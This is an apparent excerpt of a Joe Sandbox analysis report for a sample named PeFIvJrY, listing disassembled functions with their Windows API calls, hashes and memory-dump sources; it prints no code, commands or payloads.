Instruction ID: 3f234ef19cf71468e5af9252b7d2adbbdbd17f0bbcac81aa2b9eaad60cce97ea
Opcode Fuzzy Hash: cf94a390c4a9c1572b2cb9b080706caeff1f6d46f1a870928fb29d35b02fbde1
Instruction Fuzzy Hash: 9E112EB5C046488FDB20CF9AD448BDEFBF8EB48320F10846AE518A7750D378A508CFA5

Function 06307B58 Relevance: 1.5, APIs: 1, Instructions: 45comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 06307BB5

Memory Dump Source

Source File: 0000000C.00000002.3849680504.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6300000_PeFIvJrY.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 623acbc88e341a5d8fe633261d64b6d9cc93d0266c72e2515638295be190d3b4
Instruction ID: 23e55622860e89174e819491f04b6932a8d2dbedc8051210de2a10efd4efbb88
Opcode Fuzzy Hash: 623acbc88e341a5d8fe633261d64b6d9cc93d0266c72e2515638295be190d3b4
Instruction Fuzzy Hash: 4B1112B58003498FDB20CFAAD489BDEFBF4EB48324F20845AD558A7740D378A544CFA5

Function 00431398 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?), ref: 004313D9

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c5f4a86e8a4d4392b3b07242df14a2361b1ecd91d25f74fb375eff19f6018c4c
Instruction ID: 116d43c0027fab8f02176f6f339d49ec1ebfe4c425a1b28e09bb3723c004e037
Opcode Fuzzy Hash: c5f4a86e8a4d4392b3b07242df14a2361b1ecd91d25f74fb375eff19f6018c4c
Instruction Fuzzy Hash: 80F0E936604234A7FB211B73AC45B5B37489F49BA0F149127EC14E7AB0DABCDC0146ED

Function 003FB7E0 Relevance: 1.5, APIs: 1, Instructions: 38windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(?,?,?,?,?,?,00000000,A05DD77D), ref: 003FB830

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: cb7a35d3d07401d8c85e11f35a6dd87efa47410ea05a3aa82c3b545efc86bd0e
Instruction ID: ed5448e6f11966e2b5cf9ce9704642e35aa85d8dbdf5f314436787a3123e9ba5
Opcode Fuzzy Hash: cb7a35d3d07401d8c85e11f35a6dd87efa47410ea05a3aa82c3b545efc86bd0e
Instruction Fuzzy Hash: 12F08176904208FBCB11CF94DC41F9BBBB8FB09720F20462AF911922D0D37555108B54

Function 0043023B Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?), ref: 0043026D

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d8bde64b67a0e67c27e30316ac598e1c67297a40a5b27b132b0e94f48ce3e6a8
Instruction ID: afe4a215af5e75f5bcbc76fdceaa7de5f17a671192b5524ebe786f8414be2f78
Opcode Fuzzy Hash: d8bde64b67a0e67c27e30316ac598e1c67297a40a5b27b132b0e94f48ce3e6a8
Instruction Fuzzy Hash: B0E0E5252043356AEB3126736C1CB5B76489B4ABA0F0512A3AD1496282DBBCCC0183ED

Function 00424CF7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,0040A088), ref: 00424D01

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: d056cd09ade1b75375c985e3e9867a308bc472b29ce754fe8a4b8ebc8da1f5ab
Instruction ID: 749b4d5a07bdd073ea54b677259e93ab06eaf1f88673129a773f6a235982741f
Opcode Fuzzy Hash: d056cd09ade1b75375c985e3e9867a308bc472b29ce754fe8a4b8ebc8da1f5ab
Instruction Fuzzy Hash: 31C09B7590410D97CB00E7E5D94988EB7FCA609204B400461D911E3140F671F95D8795

Function 003FB890 Relevance: 1.4, APIs: 1, Instructions: 173COMMON

Download Yara Rule

APIs

Part of subcall function 003FB7E0: FormatMessageW.KERNEL32(?,?,?,?,?,?,00000000,A05DD77D), ref: 003FB830

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0043C050,000000FF), ref: 003FBAC9

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 0d14172fe12f1e7c40e01c70737c15cd0bb5738b55280c739ef8c62129090080
Instruction ID: 1e6a2c88d6d768fb835193bb855e87ed5723f23eb09df8104a97d25694f83234
Opcode Fuzzy Hash: 0d14172fe12f1e7c40e01c70737c15cd0bb5738b55280c739ef8c62129090080
Instruction Fuzzy Hash: 6D71B1B0D01359DBDB26DF15C849BA9F7B8AF44344F1441DADA48AB242E770AF84CF91

Function 0257D400 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3842594588.000000000257D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0257D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_257d000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a35369969376b47e717fafb18f8c7de68a89c816908f7e4828000a81188059b8
Instruction ID: 7bfb8b31fdf5c82c20ff0b2a83918e326a1fa921757880faeef47014a2473249
Opcode Fuzzy Hash: a35369969376b47e717fafb18f8c7de68a89c816908f7e4828000a81188059b8
Instruction Fuzzy Hash: F6210372544244DFDB18DF10E9C4B26BF76FF84314F24C5B9E9090B246C3B6E856CAA2

Function 0258D0DC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3843285956.000000000258D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0258D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_258d000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e0702e681b9861feaf833a8066b6f5615769b7220dcf38ffc26075fc3e72db2
Instruction ID: b68f05504c4eb4bcbcea6591989a85cf320223a6aad86634e933aaccbffa7deb
Opcode Fuzzy Hash: 9e0702e681b9861feaf833a8066b6f5615769b7220dcf38ffc26075fc3e72db2
Instruction Fuzzy Hash: B021F571504344DFEB04EF20D9C0B26BBB5FF88314F24C569D8095B2D6C7BAD846CA65

Function 0258D01C Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3843285956.000000000258D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0258D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_258d000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1afcc781a9a20e73cf7bbc6dd3a0ccad95a257044737484cebe8f1fea1cc3ff
Instruction ID: 19bf394b19f83231955cd10979d68b22828b925f24e05ca2e78caef0a2817b00
Opcode Fuzzy Hash: d1afcc781a9a20e73cf7bbc6dd3a0ccad95a257044737484cebe8f1fea1cc3ff
Instruction Fuzzy Hash: 4F11E1B1A05344DFEB14FF34D984B36BBE5FB44204F208A69D40A5B2C1E3BAD446C666

Function 0257D3FB Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3842594588.000000000257D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0257D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_257d000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e42ba21dd85538f86204e361e271b9c377ec2a0e9d4622c41ef75d55fb34e3d1
Instruction ID: 9d63d3633e8e8088ee21eb2ad798e4ddd4feac97cadc57894db491ed08fc311d
Opcode Fuzzy Hash: e42ba21dd85538f86204e361e271b9c377ec2a0e9d4622c41ef75d55fb34e3d1
Instruction Fuzzy Hash: 5211E172404280CFCB15CF10E5C4B16BF72FF84324F24C1A9D8090B656C37AE456CBA1

Function 0258D006 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3843285956.000000000258D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0258D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_258d000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22d9767f7ba1f0a1249a8eae63377083295f748490133a4ba73ae3ceb724cb7c
Instruction ID: 86d7f406d58170a11204f330c21c22a7959a0a39a131ea1c1124b3469f3527aa
Opcode Fuzzy Hash: 22d9767f7ba1f0a1249a8eae63377083295f748490133a4ba73ae3ceb724cb7c
Instruction Fuzzy Hash: 4C11B27150A3C4CFDB12EF34D594725BFB0FB42214F2885EAC4898B293D37A844AC762

Function 0258D0D7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3843285956.000000000258D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0258D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_258d000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25fd3f2d3cf64367ab4aa6a3e4fd855283cda72dbe6d9a978ba3e59e4b138002
Instruction ID: 2d76e3f9df07c4cf1f06749dc85ce1f3a317c56b36e7d9fe2e747a7d1562625e
Opcode Fuzzy Hash: 25fd3f2d3cf64367ab4aa6a3e4fd855283cda72dbe6d9a978ba3e59e4b138002
Instruction Fuzzy Hash: 78118B75504284DFDB05DF20D9C4B25BFB1FF88218F28C6AAD8494B696C37AD44ACBA1

Function 05450101 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3849000279.0000000005450000.00000040.00000800.00020000.00000000.sdmp, Offset: 05450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5450000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dac22bb97d797a7f5d4bbbb30819df5719b3a00245c57462d9f3f00461464311
Instruction ID: c7dc535d8f32cfd4ab923ca47bebf0ec00104d34f085040d03a30d61a5dd7820
Opcode Fuzzy Hash: dac22bb97d797a7f5d4bbbb30819df5719b3a00245c57462d9f3f00461464311
Instruction Fuzzy Hash: 0EE0E26150E7C54FD3438B758C696903F309F27248B0E02EBD4C5CF1B3D6199909CB22

Function 05450120 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3849000279.0000000005450000.00000040.00000800.00020000.00000000.sdmp, Offset: 05450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5450000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c5aa06abd19b972ef5ffdcdd9d868785c862436591dc722b60b57511d1520ba
Instruction ID: 38f246181df111d5429a8bd68a772e0fce3d181c3253e5a9de7ce3dab65c4b62
Opcode Fuzzy Hash: 0c5aa06abd19b972ef5ffdcdd9d868785c862436591dc722b60b57511d1520ba
Instruction Fuzzy Hash: F4B01230240208CFC300DB5DD445C003BFCAF49A0434000D0F1088B731C721FC008A40

Non-executed Functions

Function 0042536C Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 167libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00425372
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00425380
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00425391
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004253A2
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 004253B3
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 004253C4
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 004253D5
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 004253E6
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 004253F7
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00425408
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00425419
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 0042542A
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 0042543B
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 0042544C
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 0042545D
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 0042546E
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 0042547F
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00425490
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 004254A1
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 004254B2
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 004254C3
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 004254D4
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 004254E5
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 004254F6
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 00425507
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00425518
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00425529
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 0042553A
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 0042554B
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 0042555C
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 0042556D
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 0042557E
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 0042558F
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 004255A0
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 004255B1
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 004255C2
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 004255D3
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 004255E4
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 004255F5
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00425606
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 00425617

Strings

InitializeSRWLock, xrefs: 00425562
WakeConditionVariable, xrefs: 0042552F
FlsAlloc, xrefs: 0042537A
CreateThreadpoolTimer, xrefs: 0042540E
TryAcquireSRWLockExclusive, xrefs: 00425584
FlsGetValue, xrefs: 00425397
SetFileInformationByHandle, xrefs: 004254FC
LCMapStringEx, xrefs: 0042560C
GetSystemTimePreciseAsFileTime, xrefs: 0042550D
SleepConditionVariableCS, xrefs: 00425551
InitializeCriticalSectionEx, xrefs: 004253B9
CreateEventExW, xrefs: 004253DB
CreateSymbolicLinkW, xrefs: 004254BD
FreeLibraryWhenCallbackReturns, xrefs: 00425496
WakeAllConditionVariable, xrefs: 00425540
SetThreadpoolWait, xrefs: 00425463
WaitForThreadpoolTimerCallbacks, xrefs: 00425430
CompareStringEx, xrefs: 004255EA
kernel32.dll, xrefs: 0042536D
AcquireSRWLockExclusive, xrefs: 00425573
InitOnceExecuteOnce, xrefs: 004253CA
CreateThreadpoolWork, xrefs: 004255B7
FlsSetValue, xrefs: 004253A8
SubmitThreadpoolWork, xrefs: 004255C8
GetCurrentProcessorNumber, xrefs: 004254A7
CreateThreadpoolWait, xrefs: 00425452
CloseThreadpoolWork, xrefs: 004255D9
ReleaseSRWLockExclusive, xrefs: 00425595
GetTickCount64, xrefs: 004254DA
GetCurrentPackageId, xrefs: 004254C9
InitializeConditionVariable, xrefs: 0042551E
SleepConditionVariableSRW, xrefs: 004255A6
GetFileInformationByHandleEx, xrefs: 004254EB
CloseThreadpoolTimer, xrefs: 00425441
SetThreadpoolTimer, xrefs: 0042541F
FlushProcessWriteBuffers, xrefs: 00425485
CreateSemaphoreW, xrefs: 004253EC
CreateSemaphoreExW, xrefs: 004253FD
FlsFree, xrefs: 00425386
GetLocaleInfoEx, xrefs: 004255FB
CloseThreadpoolWait, xrefs: 00425474

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 28bfbc9b6a4cedb49fd50eb8351245f9ce73a73b93f2b1927d936d966b5200fc
Instruction ID: 1dfe0bd053739ca99ca312b497f2b597a75c313698eded26786c7510fa7ceb07
Opcode Fuzzy Hash: 28bfbc9b6a4cedb49fd50eb8351245f9ce73a73b93f2b1927d936d966b5200fc
Instruction Fuzzy Hash: ED61C079992310ABDB505FB4FC1EACD3AA8AA5B7423200977FA09D2171E7FC40948F5D

Function 00402C60 Relevance: 106.2, APIs: 70, Instructions: 1182libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00402D83
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00402DC6
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00402E07
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00402E48
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00402E89
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00402ECA
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00402F0B
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00402F4C
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00402F8D
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00402FCE
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 0040300F
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00403050
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00403091
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 004030D2
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00403113
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00403154
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00403195
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 004031D6
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 0040321A
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 0040325B
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 0040329C
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 004032DD
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 0040331E
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 0040335F
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 004033A0
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 004033E1
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00403422
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00403463
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 004034A7
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 004034EB
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 0040352F
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 00403573
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 004035B7
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 004035FB
GetProcAddress.KERNEL32(00000000,0044CC40), ref: 0040363F
GetLastError.KERNEL32 ref: 0040368C
GetLastError.KERNEL32 ref: 004036AE

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AddressProc$ErrorLast
String ID:
API String ID: 4214558900-0
Opcode ID: 20e8b34668082c719bc70f61db2c35c8b582ebd7c62143e9f613d95d35a7b433
Instruction ID: dd37ce1d7c22ac3c391c88d5f81df145b5bee8f538b7f835765fb104caeefadc
Opcode Fuzzy Hash: 20e8b34668082c719bc70f61db2c35c8b582ebd7c62143e9f613d95d35a7b433
Instruction Fuzzy Hash: 45B23574E04249AFDB05CFA8C4587AEBFF1AF89305F2480B9D815EB391DB799A40CB45

Function 00408870 Relevance: 36.4, APIs: 24, Instructions: 384libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000), ref: 0040889D
GetProcAddress.KERNEL32(00000000), ref: 004088E1
GetProcAddress.KERNEL32(00000000), ref: 00408925
GetProcAddress.KERNEL32(00000000), ref: 00408969
GetProcAddress.KERNEL32(00000000), ref: 004089AD
GetProcAddress.KERNEL32(00000000), ref: 004089F1
GetProcAddress.KERNEL32(00000000), ref: 00408A35
GetProcAddress.KERNEL32(00000000), ref: 00408A79
GetProcAddress.KERNEL32(00000000), ref: 00408ABD
GetProcAddress.KERNEL32(00000000), ref: 00408B01
GetProcAddress.KERNEL32(00000000), ref: 00408B45
GetProcAddress.KERNEL32(00000000), ref: 00408B89
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00408869), ref: 00408BD8
GetLastError.KERNEL32 ref: 00408BFC
GetLastError.KERNEL32 ref: 00408C20
GetLastError.KERNEL32 ref: 00408D40

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

